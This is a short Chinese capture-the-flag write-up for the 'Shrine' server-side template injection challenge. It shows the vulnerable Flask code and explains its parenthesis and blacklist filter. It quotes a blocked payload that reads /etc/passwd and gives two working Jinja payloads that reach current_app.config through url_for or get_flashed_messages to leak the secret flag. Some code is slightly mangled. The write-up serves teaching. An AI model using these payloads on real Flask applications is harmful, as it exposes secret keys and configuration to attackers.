题目:攻防世界:Shrin(SSTI)
提示:题目代码
bash
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
- /shrine/路由接收任意路径参数
- render_template_string()直接渲染用户输入
- 过滤机制:()被删除,config和self变量被设为None
- 无法使用 subclasses()、popen() 等带括号的函数
bash
无法使用
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
步骤
1. 利用Flask全局函数访问current_app
Payload: /shrine/{{url_for.globals['current_app'].config.FLAG}}
原理:
url_for 是Flask内置全局函数,无需括号即可访问__globals__ 获取函数的全局变量字典(无括号)current_app
指向当前的Flask应用实例app 通过 current_app.config 访问被"隐藏"的配置
2. 利用get_flashed_messages
替代Payload:
/shrine/{{get_flashed_messages.globals['current_app'].config['FLAG']}}
原理:与url_for类似,利用另一个Flask全局函数绕过限制。
